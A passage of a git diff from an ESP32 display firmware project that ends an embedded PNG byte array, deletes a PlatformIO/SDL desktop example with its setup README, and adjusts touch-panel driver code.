0x21, 0xe4, 0x6b, 0x13, 0xa1, -0x3c, 0x35, 0x8b, 0xd0, 0xa0, 0x08, 0x5a, 0x3f, 0x68, 0xc9, 0xb1, 0x4b, 0x7a, 0x92, 0x27, 0x39, -0x58, 0xec, 0x47, 0x9e, 0x58, 0xe0, 0x87, 0x6a, 0xdf, 0x14, 0xef, 0xf2, 0x0d, 0x23, 0x0c, 0x6d, -0x38, 0x66, 0xdd, 0x15, 0x30, 0x4b, 0xc6, 0xff, 0x50, 0xb0, 0xfd, 0x78, 0xec, 0xa1, 0x75, 0x03, -0x61, 0x83, 0x28, 0x0c, 0xfb, 0xfb, 0x26, 0x8c, 0xd0, 0x7a, 0xa8, 0x09, 0x2d, 0x81, 0x56, 0x0b, -0x5a, 0x72, 0xe8, 0x1c, 0xa3, 0x4b, 0xe2, 0x6e, 0x51, 0x49, 0xa4, 0x81, 0xbc, 0x72, 0x60, 0xcc, -0xbb, 0xa8, 0xaa, 0x5a, 0x55, 0xcf, 0xd0, 0x9b, 0x49, 0x6a, 0x14, 0xac, 0xf5, 0x6a, 0xed, 0x27, -0x6f, 0x0f, 0xd7, 0xe9, 0x12, 0x92, 0x78, 0x3a, 0x31, 0x81, 0x61, 0xa9, 0x88, 0x85, 0x43, 0x9b, -0xd7, 0x24, 0x90, 0xbf, 0x55, 0x48, 0xa1, 0xcd, 0xfb, 0x2d, 0x3a, 0x60, 0x80, 0xcd, 0xbc, 0x81, -0xe0, 0xa6, 0x19, 0xdd, 0x85, 0xed, 0xb3, 0xdb, 0xd7, 0x85, 0xf1, 0xf0, 0xaa, 0xd6, 0xba, 0x6f, -0x28, 0xc1, 0x87, 0x8c, 0x01, 0x1d, 0xa3, 0x69, 0x3f, 0x79, 0x5f, 0x44, 0x1c, 0x47, 0xea, 0x74, -0x24, 0x45, 0x31, 0x09, 0xb1, 0xc7, 0x16, 0x0e, 0xf5, 0x43, 0xab, 0xfd, 0x4d, 0xd2, 0x12, 0x2c, -0x1e, 0xcc, 0xaf, 0xdb, 0xc2, 0x7d, 0xd7, 0x19, 0x06, 0xac, 0x1a, 0xde, 0xa0, 0xa3, 0xe2, 0x2f, -0x84, 0x2c, 0x7b, 0x4f, 0xab, 0xf4, 0x65, 0x70, 0xdb, 0x26, 0x8e, 0x09, 0x6e, 0x46, 0x54, 0x03, -0xb3, 0x80, 0x40, 0x5a, 0x0f, 0x5c, 0x72, 0x88, 0x26, 0x19, 0x46, 0xc7, 0xd0, 0x2c, 0xc3, 0xc4, -0xc3, 0x0d, 0x1b, 0x5e, 0x7f, 0xd3, 0x18, 0xd0, 0x80, 0x31, 0xdb, 0x8e, 0xc5, 0xd3, 0x1c, 0xb8, -0x7b, 0x12, 0xdc, 0xb5, 0x75, 0x6e, 0xd9, 0x88, 0x77, 0xeb, 0x5a, 0x3a, 0x00, 0x68, 0x2a, 0x5e, -0xbb, 0xfe, 0x7f, 0x8e, 0x3c, 0x5b, 0xf7, 0x5f, 0x77, 0x82, 0xd6, 0xd3, 0x34, 0xc7, 0x30, 0x24, -0xa9, 0xbf, 0x7e, 0x6a, 0xcb, 0x4c, 0x3f, 0xd4, 0xd2, 0x40, 0xed, 0x2f, 0x89, 0x85, 0xa1, 0xc5, -0x3f, 0xfd, 0x06, 0x6f, 0x39, 0x16, 0x0b, 0x39, 0x9d, 0xd1, 0xeb, 0x39, 0x5a, 0x77, 0xe1, 0xeb, -0x49, 0xad, 0xbd, 0xec, 0x9f, 0x60, 0xec, 0x26, 0x27, 0x04, 0x6c, 0x3a, 0x0d, 0xee, 0x3b, 0x3c, -0x38, 0x3c, 0x86, 0xe6, 0x79, 0xfe, 0x96, 0x51, 0xaf, 0xff, 0x8d, 0x8b, 0xd8, 0x36, 0xa6, 0x8b, -0x17, 0xa2, 0xb4, 0x06, 0xc5, 0x60, 0xc8, 0xbe, 0xf2, 0x1e, 0xd1, 0xad, 0x54, 0x5f, 0x62, 0xb8, -0x87, 0x57, 0xcb, 0x31, 0xab, 0xa3, 0x12, 0x6e, 0xb1, 0xb4, 0x21, 0x91, 0xa4, 0x8c, 0xba, 0xd8, -0xf0, 0x9d, 0xc3, 0x9b, 0xbe, 0x09, 0x21, 0xd3, 0x7f, 0x14, 0x61, 0x80, 0x50, 0xdf, 0xc9, 0x5f, -0x87, 0xc7, 0x18, 0x29, 0x03, 0x4d, 0x71, 0x3c, 0x49, 0x93, 0x11, 0x5b, 0x82, 0xde, 0xf3, 0x52, -0x1e, 0x37, 0x8d, 0x12, 0xa8, 0xcb, 0xad, 0x38, 0xcb, 0xbf, 0x15, 0xcc, 0x73, 0xa0, 0x68, 0xcd, -0xe6, 0x41, 0x0b, 0x23, 0x18, 0x23, 0xc3, 0x1a, 0x18, 0x8a, 0xa2, 0x38, 0x2a, 0x7c, 0xe7, 0xe4, -0xf6, 0xda, 0x6a, 0x6e, 0xbd, 0x56, 0x21, 0x42, 0x55, 0x18, 0x50, 0x77, 0x04, 0xa2, 0xf5, 0xed, -0x09, 0x1f, 0xe2, 0x4e, 0x02, 0xb6, 0x23, 0x75, 0x2c, 0xcf, 0x9c, 0x3b, 0xb0, 0x68, 0xa0, 0x52, -0xee, 0x00, 0x3b, 0x06, 0x55, 0x56, 0x30, 0x93, 0x20, 0x30, 0x15, 0xaa, 0x0e, 0x58, 0xb4, 0xf7, -0x5c, 0x1c, 0xb0, 0x21, 0x29, 0x23, 0xa7, 0x67, 0xf8, 0xd8, 0x43, 0xcb, 0xde, 0x6f, 0x0c, 0x18, -0x1b, 0x53, 0xb9, 0x19, 0xae, 0x22, 0xa4, 0x46, 0xe1, 0x43, 0x90, 0xe0, 0x84, 0x22, 0xbe, 0x03, -0x67, 0x87, 0x5e, 0xe1, 0x19, 0x4a, 0x47, 0xd1, 0x9c, 0x91, 0x24, 0xa3, 0x0e, 0xcd, 0xec, 0x56, -0x13, 0x57, 0xda, 0xc6, 0x56, 0xd6, 0xcd, 0x80, 0xd8, 0xad, 0xf9, 0x2e, 0xec, 0x5d, 0xa9, 0x53, -0x9a, 0xad, 0x53, 0x7a, 0x3d, 0x73, 0x68, 0xd9, 0xc0, 0x77, 0x55, 0x35, 0x70, 0x0c, 0xc7, 0x2b, -0xbe, 0x25, 0xeb, 0xff, 0x34, 0x41, 0xfd, 0x85, 0x03, 0x6c, 0x30, 0xa5, 0x0b, 0x8d, 0x67, 0xfb, -0xe0, 0x7d, 0xd1, 0x09, 0x54, 0xe2, 0x2d, 0x60, 0xa1, 0xd3, 0xdc, 0x6f, 0xd7, 0x43, 0x16, 0x76, -0x69, 0x08, 0x4f, 0xaa, 0xa4, 0x9b, 0x79, 0x77, 0x19, 0x1f, 0x12, 0xcd, 0x29, 0x76, 0x24, 0x43, -0xf3, 0x49, 0x17, 0x8e, 0x04, 0x0f, 0xf5, 0x84, 0x21, 0x14, 0xa5, 0x69, 0x05, 0x86, 0xba, 0x65, -0x65, 0x05, 0x08, 0x9a, 0x0b, 0x78, 0x71, 0xdd, 0x3f, 0xa1, 0x56, 0xf9, 0x7e, 0x10, 0x1c, 0x12, -0xa3, 0x67, 0xc1, 0xd4, 0x02, 0x39, 0xc6, 0xfc, 0x16, 0xbb, 0x65, 0x46, 0xe7, 0x86, 0x2e, 0x35, -0x28, 0x71, 0x78, 0x71, 0xab, 0x17, 0x5e, 0x5d, 0xc6, 0x6c, 0x8b, 0x20, 0x29, 0x8e, 0xa1, 0x49, -0xbd, 0x9e, 0xa7, 0x63, 0xc2, 0x83, 0x87, 0xfb, 0x96, 0x3e, 0xc1, 0xcd, 0x71, 0x7f, 0x8a, 0xb0, -0xba, 0xb0, 0x5b, 0xb9, 0x9e, 0x22, 0x69, 0x86, 0x83, 0xfd, 0x4c, 0x62, 0xc3, 0xb6, 0x0c, 0xf4, -0x23, 0x50, 0x4b, 0xbf, 0xae, 0x8a, 0x5c, 0x08, 0xf0, 0x91, 0x4a, 0xa5, 0x74, 0x65, 0x23, 0x10, -0x0f, 0x1c, 0xf3, 0x1e, 0xbc, 0x28, 0xec, 0x12, 0x79, 0x0b, 0xe8, 0x4f, 0x2e, 0x31, 0xc1, 0x90, -0x78, 0x61, 0xf7, 0xe4, 0x9e, 0x2e, 0x77, 0x57, 0x77, 0x53, 0xf9, 0xa4, 0x06, 0x22, 0xcb, 0xb7, -0xe3, 0xb4, 0xcd, 0x31, 0xb0, 0x59, 0x39, 0x9d, 0x98, 0x48, 0xb1, 0x6c, 0xcc, 0x81, 0xd5, 0x30, -0x8e, 0x89, 0x62, 0x2a, 0x8c, 0x20, 0xb4, 0x2e, 0xa3, 0x47, 0x60, 0xb0, 0x93, 0x1e, 0xa6, 0x24, -0xb7, 0xd5, 0xf8, 0xe0, 0x45, 0x07, 0xce, 0x71, 0x34, 0x6d, 0xa4, 0x18, 0x5d, 0x02, 0x43, 0xc7, -0x1c, 0x9a, 0xd6, 0xd3, 0x17, 0xc7, 0xdc, 0x91, 0xe4, 0x4a, 0x24, 0xa5, 0x7b, 0xa1, 0x06, 0x6f, -0x3f, 0x6d, 0xe7, 0x09, 0x8a, 0xa5, 0x92, 0x68, 0x5e, 0x9f, 0x64, 0xa0, 0x93, 0x7e, 0x5d, 0x10, -0xd4, 0xbc, 0xa6, 0x5a, 0x5d, 0x81, 0x22, 0x07, 0xa2, 0x86, 0x4a, 0x05, 0x1f, 0x60, 0x85, 0x6a, -0xb0, 0xe6, 0xfd, 0x16, 0x86, 0x90, 0x3c, 0xa7, 0xe3, 0x60, 0xf2, 0xd6, 0x48, 0x46, 0xef, 0x9c, -0xdb, 0xbe, 0x36, 0x2c, 0x2c, 0xc5, 0x31, 0xb5, 0xdb, 0x92, 0xac, 0x4c, 0x22, 0x70, 0xc0, 0x56, -0x9a, 0x8e, 0xd3, 0xf6, 0x45, 0xc4, 0xd3, 0x3c, 0x9b, 0xa0, 0x07, 0x86, 0x04, 0x1f, 0x1b, 0xb6, -0x20, 0x48, 0x79, 0x78, 0xb1, 0xcb, 0x57, 0x81, 0x6e, 0x20, 0x58, 0x04, 0xb8, 0x5f, 0x97, 0x85, -0x21, 0xd7, 0x75, 0x46, 0xf8, 0x70, 0x3f, 0x9a, 0xa5, 0xe3, 0xa3, 0xf7, 0x05, 0xb7, 0xf7, 0xb4, -0x28, 0x4d, 0xc2, 0xba, 0x85, 0xa6, 0x9b, 0xfe, 0x2c, 0xa9, 0x55, 0x96, 0xbc, 0x5c, 0xeb, 0xc1, -0xcb, 0x42, 0x49, 0x0a, 0xd8, 0x28, 0x0c, 0x65, 0xa4, 0x75, 0xf1, 0x51, 0x5b, 0x66, 0xbe, 0x5b, -0xd3, 0xe5, 0xf8, 0x2f, 0x14, 0xad, 0xe0, 0xc7, 0xbb, 0x63, 0xb6, 0x85, 0x25, 0x24, 0xf1, 0x7a, -0xa3, 0x41, 0x07, 0xdb, 0x5d, 0x9e, 0x5b, 0xf6, 0x51, 0xeb, 0xda, 0x38, 0x66, 0x31, 0x89, 0xaa, -0xb9, 0x1f, 0xf6, 0x5d, 0x49, 0xf4, 0xaa, 0x81, 0xb9, 0xe5, 0x2f, 0xe1, 0xd5, 0x7a, 0xe0, 0xc6, -0x13, 0x3a, 0xe8, 0x1a, 0xf0, 0x7a, 0x9a, 0x65, 0x94, 0x38, 0xa6, 0xcb, 0x17, 0xab, 0x86, 0xab, -0x31, 0xbf, 0x81, 0x5b, 0xc2, 0x62, 0x21, 0xf0, 0x7a, 0xca, 0xc8, 0x18, 0xe9, 0x0b, 0x1b, 0x27, -0xbf, 0x5b, 0xb7, 0xe8, 0xa1, 0x13, 0x8a, 0x25, 0xab, 0x76, 0x43, 0xf7, 0x57, 0x11, 0xea, 0x3b, -0x22, 0xf8, 0x44, 0x0c, 0x49, 0xd2, 0x24, 0xec, 0xfb, 0x44, 0x25, 0x9c, 0xde, 0x32, 0xba, 0x73, -0x4d, 0xb8, 0xbd, 0x44, 0x01, 0xd7, 0xda, 0x51, 0x80, 0x2d, 0xa0, 0x14, 0x51, 0xaa, 0x3c, 0x75, -0xd8, 0xab, 0xf9, 0x98, 0x95, 0x11, 0x71, 0x3a, 0x1e, 0x58, 0xfe, 0x3a, 0x2a, 0x89, 0x89, 0x0d, -0xdf, 0x39, 0xa2, 0x79, 0x75, 0x9c, 0x40, 0xdd, 0x58, 0xfd, 0x2d, 0x04, 0xcc, 0x07, 0xdf, 0x8f, -0x37, 0x9e, 0x88, 0xd1, 0x33, 0x09, 0x14, 0x74, 0xc0, 0x0c, 0xfc, 0xe9, 0xcd, 0x41, 0x01, 0x5e, -0x50, 0x9c, 0x22, 0x1e, 0x8e, 0x9e, 0x1f, 0x40, 0x28, 0xad, 0x91, 0x88, 0x9a, 0xcd, 0x83, 0x16, -0x9c, 0x66, 0x48, 0x86, 0xe7, 0x68, 0x8a, 0xd3, 0xd3, 0x14, 0x7c, 0x0a, 0xa4, 0x1a, 0x16, 0x71, -0xba, 0xdd, 0xec, 0xbf, 0x87, 0x54, 0x60, 0xb6, 0x95, 0x38, 0xe6, 0x75, 0x8e, 0x4c, 0x62, 0x0c, -0x06, 0x86, 0x67, 0xe8, 0xa8, 0x03, 0x0b, 0xfb, 0xc3, 0x2d, 0x5d, 0x18, 0x6e, 0x53, 0x44, 0x07, -0x1f, 0x05, 0xa1, 0x02, 0xf6, 0x08, 0x5e, 0xfd, 0xdd, 0x85, 0x7b, 0xa3, 0xe2, 0x74, 0x1c, 0xcd, -0x1a, 0x68, 0x3d, 0xc9, 0xc5, 0x85, 0x2e, 0xeb, 0xd9, 0x14, 0x57, 0xab, 0x71, 0x77, 0x66, 0xfb, -0x6f, 0x23, 0x0f, 0x35, 0x06, 0xab, 0xb1, 0x7c, 0x07, 0xcf, 0x3d, 0x12, 0x93, 0xc8, 0x50, 0x8c, -0x1e, 0x30, 0x11, 0xa9, 0x8f, 0x3a, 0x34, 0xa3, 0xf3, 0xdb, 0xc0, 0xc2, 0x54, 0x59, 0xbb, 0xd0, -0x04, 0x4c, 0x26, 0x20, 0x88, 0x57, 0xcb, 0x99, 0x5b, 0xa2, 0x12, 0x38, 0x86, 0x04, 0x76, 0x0d, -0x14, 0xb1, 0xa1, 0xcb, 0x06, 0xb7, 0x56, 0x3a, 0xe1, 0x6b, 0xb0, 0x4a, 0xdd, 0xe9, 0xef, 0xa6, -0x32, 0x08, 0x76, 0xe5, 0xb2, 0x74, 0x56, 0xf0, 0xea, 0x1c, 0x7c, 0x20, 0x3a, 0xde, 0x60, 0x64, -0x68, 0x2a, 0x01, 0x58, 0x1b, 0x31, 0x7b, 0x17, 0x74, 0x69, 0x68, 0x8b, 0x02, 0xe0, 0xa8, 0xba, -0x5d, 0xc6, 0x84, 0xc0, 0x27, 0x8b, 0xdf, 0x02, 0x1a, 0xd1, 0xc0, 0xd0, 0xd1, 0x47, 0x82, 0x87, -0x7b, 0x29, 0x3a, 0x0f, 0x47, 0x5f, 0xab, 0x0f, 0xa2, 0x9b, 0x5e, 0x8f, 0x30, 0x8d, 0xa2, 0xc8, -0x60, 0x04, 0x18, 0xf5, 0xed, 0xbf, 0x72, 0x5f, 0x0c, 0x09, 0x00, 0x89, 0x67, 0x79, 0x8e, 0xe7, -0xae, 0xc3, 0x38, 0xa6, 0xf5, 0xd9, 0x84, 0x57, 0xe7, 0xd1, 0x5b, 0x4e, 0xf3, 0x3c, 0xa5, 0x03, -0x98, 0x25, 0xe9, 0x13, 0x62, 0xc2, 0x83, 0x47, 0xf8, 0x2a, 0x7d, 0x65, 0x09, 0x0c, 0x57, 0xc3, -0x60, 0xb5, 0xb6, 0xf2, 0xb2, 0x7b, 0x6e, 0x72, 0x81, 0x2c, 0x4f, 0x6c, 0x23, 0x6a, 0x07, 0x4c, -0xdb, 0x1c, 0xcd, 0x2a, 0x8f, 0x9d, 0xe6, 0x28, 0x92, 0x8c, 0x0d, 0xdb, 0xdc, 0xdf, 0x0f, 0x2b, -0x7a, 0x96, 0x1c, 0x86, 0x10, 0x75, 0xfb, 0x2f, 0x0c, 0x8b, 0x86, 0xe5, 0x23, 0x06, 0x9e, 0xe4, -0x49, 0x3a, 0x7a, 0xef, 0xb4, 0xde, 0xb5, 0xdd, 0x5a, 0xed, 0x0d, 0x20, 0x54, 0xad, 0xf6, 0xed, -0xf8, 0xf1, 0xc6, 0x18, 0xd8, 0xef, 0x9a, 0xe4, 0xe1, 0x53, 0x3c, 0x62, 0x0e, 0x7c, 0xf5, 0x51, -0x47, 0x0f, 0x15, 0xa2, 0x26, 0xf0, 0xea, 0xde, 0x03, 0xe7, 0xee, 0x8b, 0xd2, 0x93, 0x06, 0x9e, -0x4b, 0x22, 0x75, 0x1c, 0x7c, 0x70, 0x6d, 0x6f, 0x5f, 0x8f, 0xaa, 0x1e, 0xb2, 0x9b, 0x20, 0x29, -0x0f, 0x6b, 0x44, 0xd1, 0xce, 0x1f, 0xef, 0x3e, 0x41, 0xc2, 0xfd, 0x87, 0x24, 0xc4, 0x48, 0x1f, -0x17, 0x1e, 0xb2, 0x79, 0xdd, 0xd7, 0x5b, 0x0e, 0x45, 0x30, 0x89, 0x89, 0x89, 0x0c, 0xc3, 0xd1, -0xb7, 0xa8, 0xdf, 0xa2, 0x77, 0x2f, 0xe8, 0xec, 0xad, 0xf5, 0xc0, 0xdd, 0x72, 0xf1, 0x8d, 0x20, -0xa5, 0x0b, 0x3d, 0x70, 0xc6, 0xbc, 0x3a, 0xcf, 0x38, 0x10, 0x11, 0x6f, 0xe4, 0x15, 0xa3, 0x11, -0x68, 0x3b, 0x92, 0x36, 0x50, 0x89, 0x0c, 0x4f, 0x33, 0x1c, 0xc7, 0xea, 0x78, 0x3e, 0x3e, 0xfa, -0x40, 0x70, 0x67, 0x2f, 0xa0, 0xcc, 0xd4, 0x5a, 0xb7, 0x9c, 0x7c, 0x23, 0x48, 0x79, 0x3c, 0x0e, -0x41, 0x00, 0xf7, 0x0d, 0x0d, 0x08, 0x0a, 0x3e, 0xc2, 0x1a, 0x7f, 0x23, 0x69, 0x96, 0x67, 0x8d, -0x46, 0x9a, 0xa6, 0x19, 0xa3, 0x81, 0xd4, 0xb1, 0x14, 0xcd, 0xdc, 0xba, 0x10, 0x3c, 0x3a, 0xa0, -0xae, 0xe5, 0x29, 0x73, 0x6e, 0x7a, 0x33, 0x08, 0xb3, 0xf4, 0xf6, 0x43, 0x3d, 0x70, 0x14, 0xad, -0x19, 0x30, 0x78, 0xf3, 0x29, 0x52, 0xc7, 0x33, 0xf0, 0x31, 0xc3, 0x8c, 0x8e, 0xe6, 0x74, 0x2c, -0x63, 0x60, 0x81, 0xfd, 0xbf, 0x71, 0x5a, 0x40, 0x5d, 0xf8, 0x68, 0x0f, 0x70, 0x9a, 0xdb, 0x30, -0x79, 0x33, 0x08, 0xb5, 0x64, 0xc1, 0x61, 0x73, 0x73, 0x25, 0x06, 0x82, 0x37, 0xfc, 0x28, 0xf8, -0x48, 0x44, 0x2c, 0xc9, 0xf3, 0x1c, 0xf3, 0x1b, 0x4f, 0xeb, 0xe2, 0xa2, 0xc3, 0x76, 0x7e, 0xd4, -0x1c, 0xb1, 0x34, 0xff, 0x76, 0x63, 0xf6, 0x26, 0x13, 0x56, 0x7f, 0xe8, 0xdc, 0x6d, 0x21, 0xc7, -0x4e, 0x44, 0x5c, 0x88, 0x3a, 0x7d, 0x2c, 0x74, 0x7b, 0xf0, 0x47, 0xef, 0xb9, 0x01, 0xfb, 0x27, -0x10, 0xcc, 0xcc, 0x68, 0x7c, 0x9b, 0x77, 0xeb, 0xd9, 0x7f, 0xf0, 0xc0, 0x0f, 0xba, 0xb5, 0x6f, -0xe8, 0x05, 0xb7, 0x04, 0xbb, 0xb7, 0x24, 0xbe, 0xf9, 0x44, 0x14, 0xff, 0xd0, 0x58, 0x7a, 0x76, -0x23, 0x15, 0x2d, 0x28, 0x72, 0x53, 0x55, 0x12, 0x54, 0x7b, 0x6a, 0xb8, 0xaf, 0x4e, 0x0d, 0xb1, -0x73, 0xe9, 0x99, 0x55, 0x6e, 0x7a, 0x3d, 0xfa, 0xff, 0x89, 0x66, 0x6b, 0x8a, 0xce, 0x58, 0xc1, -0x98, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4e, 0x44, 0xae, 0x42, 0x60, 0x82, }; diff --git a/components/M5GFX/examples/PlatformIO_SDL/README.md b/components/M5GFX/examples/PlatformIO_SDL/README.md deleted file mode 100644 index cd94cb5c..00000000 --- a/components/M5GFX/examples/PlatformIO_SDL/README.md +++ /dev/null @@ -1,114 +0,0 @@ - -# Steps to run M5GFX on a PC. ( VisualStudioCode + PlatformIO + SDL2 environment. ) - -## Step 1. install Visual Studio Code and make PlatformIO ready for use. - -https://docs.m5stack.com/ja/quick_start/m5unified/intro_vscode - ---- - -## Step 2. PlatformIO to allow `platform = native` to be built. -https://docs.platformio.org/en/latest/platforms/native.html#installation - -#### for Windows -follow the [MSYS2](https://www.msys2.org/) installation guide . -Run the following command on msys2 to install gcc and gdb . -``` msys2 - pacman -S mingw-w64-ucrt-x86_64-gcc mingw-w64-ucrt-x86_64-gdb -``` - -Add the following paths to the `PATH` system environment variable: -``` -C:\msys64\mingw64\bin -C:\msys64\ucrt64\bin -C:\msys64\usr\bin -``` - -#### for Linux - -open the system terminal and run the following commands: -``` -sudo apt update -sudo apt install build-essential -``` - -#### for macOS - -open the system terminal and install Xcode Command Line Tools -``` -xcode-select --install -``` - ---- - -## Step 3. Enable `SDL2` on PlatformIO. - -#### for Windows - -Go to the [SDL repository on github and obtain the release package (SDL2-devel-x.x.x-mingw.zip).](https://github.com/libsdl-org/SDL/releases) - -Unzip the zip file and copy the following four files to `C:\msys64\ucrt64` - - - share - - bin - - include - - lib - -#### for Linux - -open the system terminal and run the following commands: - -``` - sudo apt-get install libsdl2 libsdl2-dev -``` - -#### for macOS - -Install `sdl2` using [Homebrew](https://brew.sh/). -``` - brew install sdl2 -``` - ---- - -## Step 4. Execute ! - -Open the `PlatformIO_SDL` folder containing this document in PlatformIO. - -Click on the ![PlatformIO](img_pio.png) icon on the left side of the screen. -Click `PROJECT TASKS` -> `native` -> `General` -> `Upload` -※ If you are using arm processor, use `native_arm` instead of `native` (e.g. M1mac) - -![execute](img_00.png) - -※ The window may start up with the window hidden behind. Check the task tray. - ---- - -## Step 5. Use debugger. - - -#### for macOS - -If you want to use the debugger on a mac, lldb is available. - -![setup lldb](img_01.png) - - `EXPLORER` -> `.vscode` -> `launch.json` -> `Add Configuration...` -> `C/C++: (lldb) Launch` - -![setup lldb](img_02.png) - -Rewrite the `"program"` : `"${workspaceRoot}/.pio/build/native/program"` - -(The `native` part should match the environment name in `PlatformIO`) - -![setup lldb](img_03.png) - -Pressing the `F5` key allows debugging execution. - ---- - - - - - diff --git a/components/M5GFX/examples/PlatformIO_SDL/img_00.png b/components/M5GFX/examples/PlatformIO_SDL/img_00.png deleted file mode 100644 index 7f373261..00000000 Binary files a/components/M5GFX/examples/PlatformIO_SDL/img_00.png and /dev/null differ diff --git a/components/M5GFX/examples/PlatformIO_SDL/img_01.png b/components/M5GFX/examples/PlatformIO_SDL/img_01.png deleted file mode 100644 index ef7137cd..00000000 Binary files a/components/M5GFX/examples/PlatformIO_SDL/img_01.png and /dev/null differ diff --git a/components/M5GFX/examples/PlatformIO_SDL/img_02.png b/components/M5GFX/examples/PlatformIO_SDL/img_02.png deleted file mode 100644 index cf004d97..00000000 Binary files a/components/M5GFX/examples/PlatformIO_SDL/img_02.png and /dev/null differ diff --git a/components/M5GFX/examples/PlatformIO_SDL/img_03.png b/components/M5GFX/examples/PlatformIO_SDL/img_03.png deleted file mode 100644 index f0552162..00000000 Binary files a/components/M5GFX/examples/PlatformIO_SDL/img_03.png and /dev/null differ diff --git a/components/M5GFX/examples/PlatformIO_SDL/img_pio.png b/components/M5GFX/examples/PlatformIO_SDL/img_pio.png deleted file mode 100644 index d36fda23..00000000 Binary files a/components/M5GFX/examples/PlatformIO_SDL/img_pio.png and /dev/null differ diff --git a/components/M5GFX/examples/PlatformIO_SDL/platformio.ini b/components/M5GFX/examples/PlatformIO_SDL/platformio.ini deleted file mode 100644 index f68672e6..00000000 --- a/components/M5GFX/examples/PlatformIO_SDL/platformio.ini +++ /dev/null @@ -1,66 +0,0 @@ -; PlatformIO Project Configuration File -; -; Build options: build flags, source filter -; Upload options: custom upload port, speed and extra flags -; Library options: dependencies, extra library storages -; Advanced options: extra scripting -; -; Please visit documentation for the other options and examples -; https://docs.platformio.org/page/projectconf.html - -[platformio] -default_envs = native - -[env] -lib_extra_dirs=../../../ - -[env:native] -platform = native -build_type = debug -build_flags = -O0 -xc++ -std=c++14 -lSDL2 - -I"/usr/local/include/SDL2" ; for intel mac homebrew SDL2 - -L"/usr/local/lib" ; for intel mac homebrew SDL2 - -DM5GFX_SHOW_FRAME ; Display frame image. - -DM5GFX_BACK_COLOR=0x222222u ; Color outside the frame image - -[env:native_arm] -platform = native -build_type = debug -build_flags = -O0 -xc++ -std=c++14 -lSDL2 - -arch arm64 ; for arm mac - -I"${sysenv.HOMEBREW_PREFIX}/include/SDL2" ; for arm mac homebrew SDL2 - -L"${sysenv.HOMEBREW_PREFIX}/lib" ; for arm mac homebrew SDL2 - -DM5GFX_SHOW_FRAME ; Display frame image. - -DM5GFX_BACK_COLOR=0x222222u ; Color outside the frame image - -[env:native_StickCPlus] -extends = native -platform = native -build_flags = ${env:native.build_flags} - -DM5GFX_SCALE=2 - -DM5GFX_ROTATION=0 - -DM5GFX_BOARD=board_M5StickCPlus - -[env:native_Paper] -extends = native -platform = native -build_flags = ${env:native.build_flags} - -DM5GFX_ROTATION=0 - -DM5GFX_BOARD=board_M5Paper - -[esp32_base] -build_type = debug -platform = espressif32 -board = esp32dev -upload_speed = 1500000 -monitor_speed = 115200 -monitor_filters = esp32_exception_decoder - -[env:esp32_arduino] -extends = esp32_base -framework = arduino - -[env:esp32_idf] -extends = esp32_base -framework = espidf - diff --git a/components/M5GFX/examples/PlatformIO_SDL/src/sdl_main.cpp b/components/M5GFX/examples/PlatformIO_SDL/src/sdl_main.cpp deleted file mode 100644 index 87abf61b..00000000 --- a/components/M5GFX/examples/PlatformIO_SDL/src/sdl_main.cpp +++ /dev/null @@ -1,25 +0,0 @@ -#include -#if defined ( SDL_h_ ) - -void setup(void); -void loop(void); - -__attribute__((weak)) -int user_func(bool* running) -{ - setup(); - do - { - loop(); - } while (*running); - return 0; -} - -int main(int, char**) -{ - // The second argument is effective for step execution with breakpoints. - // You can specify the time in milliseconds to perform slow execution that ensures screen updates. - return lgfx::Panel_sdl::main(user_func, 128); -} - -#endif diff --git a/components/M5GFX/examples/PlatformIO_SDL/src/user_code.cpp b/components/M5GFX/examples/PlatformIO_SDL/src/user_code.cpp deleted file mode 100644 index e0a8ee2e..00000000 --- a/components/M5GFX/examples/PlatformIO_SDL/src/user_code.cpp +++ /dev/null @@ -1,29 +0,0 @@ - -#include - -static M5GFX gfx; - -void setup(void) -{ - gfx.init(); -} - -void loop(void) -{ - gfx.fillCircle(rand()%gfx.width(), rand()%gfx.height(), 16, rand()); -} - - - -#if defined ( ESP_PLATFORM ) && !defined ( ARDUINO ) -extern "C" { -int app_main(int, char**) -{ - setup(); - for (;;) { - loop(); - } - return 0; -} -} -#endif diff --git a/components/axs15231b/esp_bsp.h b/components/axs15231b/esp_bsp.h index fbb5f636..f78cb4ef 100644 --- a/components/axs15231b/esp_bsp.h +++ b/components/axs15231b/esp_bsp.h @@ -20,7 +20,7 @@ #include "lvgl.h" #include "lv_port.h" -#ifdef JC3248W535EN_LCD +#ifdef CONFIG_JC3248W535EN_LCD /************************************************************************************************** * pinout diff --git a/components/axs15231b/lv_port.c b/components/axs15231b/lv_port.c index 71edfadd..6ba3480b 100644 --- a/components/axs15231b/lv_port.c +++ b/components/axs15231b/lv_port.c @@ -575,8 +575,7 @@ static void lvgl_port_flush_callback(lv_disp_drv_t *drv, const lv_area_t *area, } #ifdef ESP_LVGL_PORT_TOUCH_COMPONENT - -lv_indev_data_t lastTouchData = {0}; +static lv_indev_data_t lastTouchData = {0}; static void lvgl_port_touchpad_read(lv_indev_drv_t *indev_drv, lv_indev_data_t *data) { @@ -601,6 +600,12 @@ static void lvgl_port_touchpad_read(lv_indev_drv_t *indev_drv, lv_indev_data_t * if (touchpad_pressed && touchpad_cnt > 0) { data->point.x = touchpad_x[0]; data->point.y = touchpad_y[0]; + + // in my testing the i2c touch panel doesn't cover the entire display, this rescales it so the rest + // of the UI works correctly. + data->point.x *= 1.04; + data->point.y *= 1.04; + data->state = LV_INDEV_STATE_PRESSED; //esp_rom_printf("Touchpad pressed: x=%d, y=%d\n", data->point.x, data->point.y); @@ -622,6 +627,7 @@ void touch_driver_read_axs15231b(lv_indev_drv_t *drv, lv_indev_data_t *data) memcpy((void*)data, (void*)&lastTouchData, sizeof(lv_indev_data_t)); + lastTouchData.state = LV_INDEV_STATE_RELEASED; drv = NULL; } diff --git a/components/lvgl_esp32_drivers/lvgl_touch/cst820.c b/components/lvgl_esp32_drivers/lvgl_touch/cst820.c index 08310f3d..63e06a3e 100644 --- a/components/lvgl_esp32_drivers/lvgl_touch/cst820.c +++ b/components/lvgl_esp32_drivers/lvgl_touch/cst820.c @@ -1,4 +1,5 @@ #include +#include #ifdef LV_LVGL_H_INCLUDE_SIMPLE #include #else @@ -6,86 +7,113 @@ #endif #include "cst820.h" -#include "lvgl_i2c/i2c_manager.h" - #define TAG "CST820" - -esp_err_t cst820_i2c_read(uint8_t slave_addr, uint16_t register_addr, uint8_t *data_buf, uint8_t len) { - return lvgl_i2c_read(CONFIG_LV_I2C_TOUCH_PORT, slave_addr, register_addr | I2C_REG_16, data_buf, len); +#define I2C_MASTER_TIMEOUT_MS 1000 